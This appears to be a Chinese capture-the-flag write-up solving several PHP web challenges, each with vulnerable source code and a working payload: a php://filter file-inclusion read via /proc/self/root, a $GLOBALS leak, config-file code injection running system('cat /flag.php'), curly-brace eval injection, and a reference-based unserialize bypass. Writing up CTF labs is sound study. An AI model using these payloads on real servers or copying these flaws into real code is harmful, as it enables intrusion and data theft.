掌控ctf-2月赛

没事干 随便刷刷题

1伪协议读取系统进程

源码

php 复制代码
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

伪协议读取flag.php,/proc/self指向当前进程的

exp

php 复制代码
?file=php://filter/read=convert.base64-encode/resource=file:///proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/flag.php

2超全局变量

php 复制代码
<?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}

一看到超全局变量就想到了 GLOBALS

3命令执行

php 复制代码
<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);

访问config.php会报错 然后把GET参数暴露

exp:

config.php?8=system("cat /flag.php");

巧用花括号(考点:花括号用法)

php 复制代码
<?
#GOAL: gather some phpinfo();
function flag(){
    echo "flag{I'm xxxxxxxxxxxxxxxxxxxx}";
}
$str=@(string)$_GET['str'];
@eval('$str="'.addslashes($str).'";');
?>

字符串${foobar}​中的foobar会被当作变量来处理

?str={{phpinfo()}}

flag在flag()中

?str={{flag()}}

PHP特性(考点:PHP中引用的特性)

php 复制代码
<?php
#GOAL: get the secret;
class just4fun {
    var $enter;
    var $secret;
}
   
if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];
   
    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }
   
    $o = unserialize($pass);
   
    if ($o) {
        $o->secret = "flag{I'm xxxxxxxxxxxxxxxxxxxxxxxxxxxx}";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}

exp

php 复制代码
<?php
class just4fun {
    var $enter;
    var $secret;
}


$a= new just4fun();
$a->enter= &$a->secret;
echo serialize($a);
相关推荐
Howrun7776 小时前
VSCode烦人的远程交互UI讲解
ide·vue.js·vscode
Ashley的成长之路7 小时前
2025 年最新:VSCode 中提升 React 开发效率的必备插件大全
ide·vscode·react.js·工作提效·react扩展
百锦再7 小时前
React编程高级主题:测试代码
android·前端·javascript·react.js·前端框架·reactjs
m0_555762907 小时前
VSCODE CLAUDE CODE
ide·vscode·编辑器
2501_916008898 小时前
全面介绍Fiddler、Wireshark、HttpWatch、SmartSniff和firebug抓包工具功能与使用
android·ios·小程序·https·uni-app·iphone·webview
玉梅小洋8 小时前
Windows 10 Android 构建配置指南
android·windows
Libraeking10 小时前
视觉篇:Canvas 自定义绘图与高级动画的华丽圆舞曲
android·经验分享·android jetpack
Fushize11 小时前
多模块架构下的依赖治理:如何避免 Gradle 依赖地狱
android·架构·kotlin
Jomurphys11 小时前
Kotlin - 类型别名 typealias
android·kotlin
Haha_bj11 小时前
Flutter ——flutter_screenutil 屏幕适配
android·ios